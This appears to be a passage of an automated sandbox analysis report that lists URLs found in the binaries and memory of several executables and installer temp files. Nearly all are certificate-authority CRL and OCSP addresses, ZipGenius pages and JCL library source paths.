Source: ulu_mon.exe, 0000002F.00000002.3174780608.000000004A601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ulu_mon.exe, 0000002F.00000002.3174780608.000000004A601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: ulu_mon.exe, 0000002F.00000002.3174780608.000000004A601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/Sectig
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp, FloydMounts.exe	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://downloads.zipgenius.it
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://downloads.zipgenius.itopenU
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://faq.zipgenius.com/
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://faq.zipgenius.it/
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://forum.wininizio.it
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://forum.zipgenius.it
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://forum.zipgenius.itopenU
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://help.zipgenius.com
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://help.zipgenius.com/
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://help.zipgenius.it
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://help.zipgenius.it/
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://help.zipgenius.itU
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://italian.wunderground.com/global/stations/16332.html
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://italian.wunderground.com/global/stations/16422.html
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://italian.wunderground.com/global/stations/16422.htmlopenhttp://italian.wunderground.com/global
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://members.home.nl/rtimmermans/
Source: FloydMounts.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: ulu_mon.exe, 0000002F.00000002.3174780608.000000004A601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.000000004A601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.000000004A601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: ulu_mon.exe, 0000002F.00000002.3174780608.000000004A601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: FloydMounts.exe	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: FloydMounts.exe	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp, FloydMounts.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://pcpro.mondadori.com)
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: FloydMounts.exe	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: FloydMounts.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://skin.zipgenius.it
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://skin.zipgenius.itopenU
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://subca.ocsp-certum.com01
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://version.zipgenius.it
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://volftp.tiscali.it)
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.7-zip.org
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.7-zip.org)
Source: Produces.com, 0000000B.00000000.1689779944.0000000000285000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.certum.pl/CPS0
Source: is-PGV92.tmp.20.dr	String found in binary or memory: http://www.componentace.com
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.cyberotecnica.net)
Source: ulu_mon.exe, 0000002F.00000002.3174780608.000000004A601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.drbob42.com
Source: is-PGV92.tmp.20.dr	String found in binary or memory: http://www.google.com/search?sourceid=ZG6&q=%22
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.ilsoftware.it)
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005DBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.programmiamo.net)
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.quickzip.org
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.reggiocal.it
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.snapfiles.com)
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.themexp.org
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.themexp.orgopenU
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.virusportal.com/com/virusinfo/encyclopedia/results.aspx?term=
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.wininizio.it
Source: ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.winmagazine.it)
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.zipgenius.com/
Source: is-PGV92.tmp.20.dr	String found in binary or memory: http://www.zipgenius.com/index.php?id=94
Source: is-PGV92.tmp.20.dr	String found in binary or memory: http://www.zipgenius.it
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.zipgenius.it/
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.zipgenius.it/U
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.zipgenius.it/zg5/addon/HiColSFX.exe
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.zipgenius.it/zg5/addon/HiColSFX.exeopenU
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.zipgenius.it/zg5/external_app.htm
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.zipgenius.it/zg5/external_app.htmopenU
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://www.zipgenius.itopenU
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/Jcl8087.pas
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclAnsiStri
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclBase.pas
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclCharsets
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclCompress
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclDateTime
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclFileUtil
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclIniFiles
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclLogic.pa
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclMath.pas
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclMime.pas
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclRTTI.pas
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclResource
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclSimpleXm
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclStreams.
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclStringCo
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclStrings.
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclSynch.pa
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclSysInfo.
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclSysUtils
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclUnicode.
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclUnitVers
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclWideStri
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/bzip2.pas
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/zlibh.pas
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclAppInst
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclConsole
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclRegistr
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclSecurit
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclShell.p
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclWin32.p
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/Snmp.pas
Source: is-PGV92.tmp.20.dr	String found in binary or memory: https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/sevenzip.p
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jrsoftware.org/
Source: X4PCDQPDT1B8IDPB7SN83.exe, 00000011.00000000.2547757785.00000000002C1000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
